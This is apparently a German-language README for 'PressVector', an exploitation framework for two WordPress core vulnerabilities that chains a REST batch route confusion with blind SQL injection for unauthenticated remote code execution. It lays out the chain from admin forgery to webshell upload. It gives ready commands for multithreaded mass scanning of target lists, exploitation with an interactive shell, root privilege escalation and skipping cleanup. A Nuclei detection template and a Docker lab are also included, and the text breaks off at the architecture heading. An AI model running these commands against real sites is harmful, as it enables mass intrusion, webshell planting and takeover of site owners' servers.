🧨 PressVector — WordPress CVE-2026-63030 / CVE-2026-60137 Exploitation-Framework

⚡ Fortschrittliches Pre-Auth-RCE- & Blind-SQLi-Exploitation-Framework für den WordPress-Core

---

📌 Überblick

PressVector ist ein umfassendes, vollständig automatisiertes Exploitation-Framework, das auf CVE-2026-63030 und CVE-2026-60137 abzielt — zwei kritische Schwachstellen im WordPress-Core, die zusammen eine nicht authentifizierte Remote-Code-Ausführung ermöglichen.

Das Framework verkettet eine REST-Batch-Route-Confusion mit einer Blind-SQL-Injection, um Administrator-Sitzungen zu fälschen, Webshells zu platzieren und beliebige OS-Befehle auszuführen — alles ohne jegliche Zugangsdaten.

⚠️ Nur für autorisierte Sicherheitstests und Bildungszwecke.

---

🔍 Was ist CVE-2026-63030 (wp2shell)?

CVE-2026-63030 ist eine kritische Pre-Authentication-RCE-Schwachstelle im WordPress-Core, entdeckt von Adam Kues (Assetnote / Searchlight Cyber). Der Exploit verkettet zwei unabhängige Schwachstellen:

CVE	Advisory	Typ	Auswirkung
CVE-2026-63030	GHSA-ff9f-jf42-662q	REST-Batch-Route-Confusion	Pre-Auth-RCE
CVE-2026-60137	GHSA-fpp7-x2x2-2mjf	author__not_in-SQL-Injection	Pre-Auth-Blind-SQLi

💥 Exploitation-Kette

[Unauthenticated Attacker]
        │
        ▼
[1] REST Batch Route Confusion (/batch/v1)
        │  Bypass auth context — treat batch as internal
        ▼
[2] Blind SQLi via author__not_in parameter
        │  Time-based binary search extraction
        ▼
[3] Extract table prefix + admin user ID
        │
        ▼
[4] Forge admin user via UNION-based injection
        │  Insert into wp_users + wp_usermeta
        ▼
[5] Authenticate & Upload webshell via Media API
        │
        ▼
[6] Remote Code Execution 🎯

📊 Betroffene Versionen

WordPress-Version	Anwendbare CVEs	Auswirkung	Status
6.8.0 – 6.8.5	CVE-2026-60137	🟡 Blind SQLi (Hoch)	❌ Anfällig
6.9.0 – 6.9.4	CVE-2026-63030 + CVE-2026-60137	🔴 Pre-Auth RCE (Kritisch)	❌ Anfällig
7.0.0 – 7.0.1	CVE-2026-63030 + CVE-2026-60137	🔴 Pre-Auth RCE (Kritisch)	❌ Anfällig
7.1-alpha / 7.1-beta1	CVE-2026-60137	🟡 SQLi (Hoch)	❌ Anfällig
6.8.6+ / 6.9.5+ / 7.0.2+	—	✅ Gepatcht	✅ Sicher

---

📦 Installation

# Clone the repository
git clone https://github.com/vulnquest58/PressVector.git
cd PressVector

# No external dependencies required!
# Uses Python standard library only — Python 3.7+ required
python pressvector.py --help

🛠️ Enthaltene Tools

1️⃣ pressvector.py — Haupt-Exploit-Framework

Voll ausgestattetes Exploit-Framework mit 4 Betriebsmodi.

🔎 scan — Multi-Target-Schwachstellenscanner

Schneller, multithreaded Scanner zur Erkennung verwundbarer WordPress-Installationen im großen Maßstab.

# Scan multiple targets from CLI
python pressvector.py scan http://target1.com http://target2.com

# Scan from a file list (10 threads)
python pressvector.py scan -f targets.txt -t 10

# Output as JSON
python pressvector.py scan -f targets.txt -t 10 --json

✅ check — Bestätigung von Blind-SQLi

Bestätigen Sie zeitbasierte Blind-SQL-Injection auf einem einzelnen Ziel mit Timing-Kalibrierung.

# Check a single target
python pressvector.py check http://target.com

# Custom delay and repeats for accuracy
python pressvector.py check http://target.com --delay 3.0 --repeats 5

💥 exploit — Vollständige RCE-Exploit-Kette

Vollständige Ausnutzung: Admin fälschen → Webshell bereitstellen → Befehle ausführen.

# Execute a single command
python pressvector.py exploit http://target.com -c "id"

# Interactive shell (full TTY-like experience)
python pressvector.py exploit http://target.com -i

# Through a proxy (Burp Suite / MITM)
python pressvector.py exploit http://target.com -i --proxy http://127.0.0.1:8080

# Don't clean up artifacts after exploitation
python pressvector.py exploit http://target.com -c "whoami" --no-cleanup

🔺 privesc — Rechteausweitung

Versuche nach Erreichen von RCE eine lokale Rechteausweitung.

# Run privesc and get interactive root shell
python pressvector.py privesc http://target.com -i

# Run privesc without cleanup
python pressvector.py privesc http://target.com --no-cleanup

2️⃣ pressvector-wp2shell-detection.yaml — Nuclei-Erkennungs-Template

Ein produktionsreifes Nuclei-Template für die passive Erkennung im großen Maßstab.

# Run with Nuclei
nuclei -t pressvector-wp2shell-detection.yaml -u http://target.com

# Bulk scan
nuclei -t pressvector-wp2shell-detection.yaml -l targets.txt -o results.txt

# With rate limiting
nuclei -t pressvector-wp2shell-detection.yaml -l targets.txt -rl 50

Template-Funktionen:

• 🔍 Versionserkennung aus mehreren Quellen (Meta-Generator + RSS-Feed-Fallback)
• 📡 REST-API-Namespace-Fingerprinting
• 🎯 Stapelweise Prüfung der Erreichbarkeit von Routen
• 📋 Dynamische Ausgabe: Version, CVE-Typ, Angriffsvektor

---

🧪 Laborumgebung (Docker)

Ein vollständig automatisiertes, containerisiertes Penetrationstest-Labor ist für sichere, isolierte Tests dieser Schwachstellen enthalten.

Schnellstart

Windows (PowerShell):

cd pressvector-lab
.\start-lab.ps1

Linux / macOS:

cd pressvector-lab
chmod +x start-lab.sh && ./start-lab.sh

(Beim ersten Start etwa 60–90 Sekunden warten, bis der WP-CLI-Installer alle WordPress-Sites automatisch eingerichtet hat).

Lab-Dienste & Ports

Port	Dienst	WordPress-Version	Schwachstelle / Status
8080	Ziel 1	6.8.5	CVE-2026-60137 (nur Blind SQLi) 🔴
8081	Ziel 2	6.9.4	CVE-2026-63030 (Pre-Auth RCE) 🔴
8082	Ziel 3	7.0.1	CVE-2026-63030 (Pre-Auth RCE) 🔴
8083	Referenz	Neueste	Gepatcht / Sichere Referenz ✅
8084	PHPMyAdmin	—	DB-Verwaltungstool
8085	Lab-Dashboard	—	Web-UI mit Zielstatus & kopierbaren Befehlen 🖥️

Admin-Anmeldedaten: admin / admin123
MySQL-Root-Passwort: root

Verifikation & Automatisiertes Testen

Sie können den gesamten Lab-Zustand und die Exploitation-Pfade mit der automatisierten Testsuite überprüfen:

# Run SQLi & RCE automated tests
python pressvector-lab/tests/run_all_tests.py

Lab-Steuerungsbefehle

• Lab stoppen (Daten behalten): Führen Sie stop-lab.sh oder .\stop-lab.ps1 aus
• Lab zurücksetzen (Daten löschen & Build bereinigen): Führen Sie reset-lab.sh oder .\reset-lab.ps1 aus

Weiterführende Anweisungen und Fehlerbehebung finden Sie in der Lab README.

---

🏗️ Architektur